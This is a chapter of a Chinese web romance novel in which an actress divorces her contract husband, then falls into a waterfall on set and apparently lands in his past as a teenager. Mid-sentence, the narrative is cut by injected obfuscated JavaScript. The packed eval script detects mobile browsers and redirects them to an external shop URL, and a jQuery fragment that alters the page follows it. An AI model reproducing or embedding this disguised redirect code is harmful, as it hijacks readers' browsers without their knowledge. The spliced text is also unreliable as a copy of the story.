四月一日愚人节,民政局门前可以说是门可罗雀,毕竟,这算不上什么好日子,结婚还是得看日子,离婚也是,免得说出去别人以为开玩笑。
民政局大厅里,穿着某奢牌当季最新款米白色风衣的女人已经在长椅上坐了两个小时了,她脸上带着一副大大的猫眼儿墨镜,遮住了半张脸,只露出一个精致的下巴颏。
这看起来是个大美人,且看起来还有点眼熟。
看嘴角上扬的弧度,工作人员觉得这是来结婚的。
“是来结婚的吧?不然怎么能笑得那么甜蜜?就是那男的太不靠谱了吧?怎么让新娘子等这么久。”新入职的小李跟旁边带自己的师傅抱怨。
师傅工作快二十年了,看过太多新人怨侣,摇摇头,“这是来离婚的,离婚才高兴的一身轻松。”
没错,尹颂是来离婚的,她下周就要进组了,她决定在自己平生第一次演大女主之前,把该结束的关系都结束掉。
比如,她和傅予楼长达两年的合约婚姻。
尹颂今年二十六,算得上是三线近二线的女明星,在各大电影电视剧里出演女二女三号,或许是因为剧抛脸,有人喜欢她的角色,但大多和尹颂本身没什么关系。
看到尹颂的人,大部分都会说:“你你你,你是那个林薇柔吗?”
尹颂只能微笑道:“我是林薇柔扮演者,尹颂。”
不过刚刚入行两年,尹颂还是知足的,也非常感谢她的大老板兼法律上的老公傅予楼,如果不是傅予楼,或许她还在跑话剧的无名小角,连温饱都是问题。
提起傅予楼,作为一名合格的‘下属’,尹颂能声情并茂地赞颂出大老板的无数优点:长得帅,家世好,有涵养,十分有钱,身材也好,腰……虽然没试过但是大约也很好!
两人结婚的时候,傅予楼二十七,根据大老板的说法是,他家里在催婚,他不想结,需要找一个听话的结婚对象,只是合约关系,尹颂是他觉得很不错的选择。
对此尹颂问过:您看上我什么了?
傅予楼从文件中抽出空隙看了她一眼,摇摇头,又低下头工作了。
大约他也在后悔当初选择尹颂,毕竟那个在话剧里打酱油贤妻良母的小演员,其实是个四体不勤五谷不分连西红柿炒鸡蛋都不会的‘悍妻’,静婉柔美的皮囊下是一个极具逆反心理的灵魂。
等待长达三小时后,尹颂决定收回她对傅予楼赞颂中的‘有涵养’。
她有充分的理由怀疑,傅予楼根本就是把离婚这件事忘在脑子后面去了。
这该死的大忙人。
尹颂唰地划开手机,找出傅予楼深深一片漆黑的微信头像,噼里啪啦气势十足打了一行委曲求全的字——【傅总,您还在忙吗?或许您还记得今天预约了民政局吗?】
傅予楼回的很快——【嗯。你已经到了?】
【是的呢,我已经到了,但是没关系,您先忙。我问了,民政局六点下班,您六点前到就行了~】
傅予楼那边有了长长的沉默,直到尹颂以为他不会再回的时候,男人又发了消息来——【非今天离婚吗?】
尹颂看着那句话,眉头一挑,这离婚申请她可是提前一个月就跟傅予楼打报告了的,当然必须今天离啊!
【傅总,我下周要进组三个月,可能就没时间了,到时候您也不一定有空,还是尽早吧。】
【我知道了,我会去的。】
得到答复,险些以为这婚离不成的尹颂放下了心,又勾起了嘴角。
傅予楼说会来,尹颂又等了半个小时,终于等到这位大爷姗姗来迟,
一辆漆黑的牧马人停在了民政局外,锃亮高大的车身不禁让人多看几眼,这改装过的越野车市区里并不常见,且不是傅予楼的座驾。
驾驶座的玻璃缓慢摇下,露出一个金毛小白脸,这是傅予楼身边为数不多尹颂认识的人,他朋友常乐。
尹颂向里望了下,果真看到另一个沉默而内敛的颀伟身影,那才是傅予楼。
“嫂子好,你们这真要离婚啊?”常乐干干巴巴开口,脸色尴尬。
尹颂露出一个认真的笑,摘了脸上的墨镜,她是很明显的骨相美人,一张脸怎么折腾都是漂亮的,三百六十度无死角,因而才能好好融合进每个角色里。
包括傅予楼小娇妻这个角色。
常乐惋惜地看了一眼后座的男人,这么漂亮的老婆,为什么想不开要离婚啊?
咔哒一声,车后门开了,傅予楼一条裹着铅灰色西裤的劲瘦长腿迈了下来,黑色的皮靴鞋面纤尘不染。
尹颂下意识收敛了面对常乐时候的随意,微微低下了头,好似一个下属见到上司一般恭敬有礼,“傅……来了,我们可以办手续了。”
她想叫傅总来着,奈何有外人,他们假结婚的事情也不是人尽皆知的。
傅予楼高尹颂一头半,有着与生俱来上位者的侵略感和压迫感,尹颂习惯面对他低头,自然就看不到那张英挺冷峻的面孔上出现了怎样的痛苦和挣扎。
“你……真的要办离婚?”傅予楼低声道,他凑近了一步,尹颂抽抽鼻子,闻到了一点酒味。
傅予楼喝了酒?
“您是不是今天身体不太舒服?没事的,您坐那,我来办。”尹颂仰头,精致漂亮的脸上还是有点关切的。
只不过,她大概在关心自己的婚能不能离成。
拖延了半天的傅予楼在此刻终于下定决心了,他向来都是一张冷漠的面孔,收敛起情绪后,又是尹颂熟悉的那个傅总。
“好。离吧。”
离婚手续办理起来比尹颂想象的快了许多,她和傅予楼各自拿到了离婚证,一同走出民政局时,脚步都轻快了不少。
对傅予楼从前的帮助分外感谢的尹颂站直,回望男人,浅笑道:“我的行李都已经打包寄走了,就不继续叨扰了,这两年承蒙您照顾,不胜感激。”
傅予楼捏紧离婚证,偏头深深看了一眼尹颂,“嗯。”
他没有上车的动作,只是盯着尹颂,像是在看什么再也追不回来的东西一般,连眼睛都要看红了。
尹颂被这眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283702|151966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
神看的不解,傅予楼不动,她也不敢走,只能按习惯低下头,躲避傅予楼的视线。
下一刻,傅予楼扭头便走,车门砰地被砸上,常乐干笑两声发动汽车,冲尹颂挥挥手,“尹姐,我先送傅哥回家了。”
尹颂点点头,微微一笑,目视着汽车开出自己的视线。
正式跟曾经的两年挥手作别。
新的人生!老娘来了!
——
尹颂的新戏是仙侠大女主,剧组驻扎在大山里,就为了取各色自然异景,进组一月尹颂可没少挨各种蚊虫叮咬,不过好在取景器的画面效果极好,镜头里的尹颂白衣翩迁,眼神古井无波,真如深林大宗门走出的神女一般。
“尹老师,下一幕拍您的威亚戏,可以吗?”场务在化妆间外面问道。
“可以。”尹颂掀开临时化妆间的帐篷帘子飞快应道,一身看起来就下血本的服道化。
白色的祭天华服,一层白纱间夹杂一层白底银色安稳的锦缎,共四层,最后一层白纱曳地,背后绣了巨大的银色麒麟,头顶巨大的莲花冠,金银各色饰品珠帘堆砌,随着尹颂的脚步晃动。
这一脑袋的东西和假发加起来得有四五斤重,尹颂的脖子实在是有点不堪重负,不得不用手支着脑袋。
身上的威亚绑好,清场,各个机组就位,导演最后一次确认,“威亚绑好了吗?”
“绑好了!”道具师回。
“尹老师准备好了吗?”
“没问题的导演!”尹颂语气肯定,脸上笑意淡却,眨眼变作一副高高在上的入戏模样。
下一刻,威亚吊着尹颂高高飞了起来,她需要从悬崖边缘飞到瀑布上面,然后斜着下落,飞到瀑布前的大石头上站定摆出poss。
尹颂并不恐高,但是威亚绑的极紧,让她喘气都有些费劲,几乎是提着一口气完成这些动作的。
威亚提升——摆手势——调整腰身向下飞,技术指导的话犹在耳边,尹颂也是信心满满。
一切动作都行云流水,变故却只发生在一瞬间。
尹颂的左腰一松,已然没有了威亚紧绷的受力,她吊在瀑布上空的身子也如同一只断了纸鸢一般,从容不迫变成了急速下坠。
老娘怎么这么倒霉!?
意外来的太突然,尹颂几乎是砸进水里的,瀑布巨大的轰鸣响彻耳边,水流灌进口鼻,巨大的拍击力让她瞬间昏了过去,深深向湖底躺去。
——
哗啦——住在一楼的赵妈照例在晚上九点半泡完脚后接着窗子将水泼向外面。
住在二楼面对窗台背书的傅予楼听得清楚。
于此同时,他的床也造了殃,一个浑身湿淋淋的人,从天而降,落到了他的铁丝床上,压的那老床不堪重负,发出吱呀声响。
那人似乎晕过去了,呼吸起伏极弱,她的头发湿黏地铺在脸上,看身形是个女人。
十八岁的傅予楼壮起胆子,用床头边的痒痒挠,隔着一胳膊的距离捅了捅床上的‘水鬼’。
“醒醒?你还活着吧?”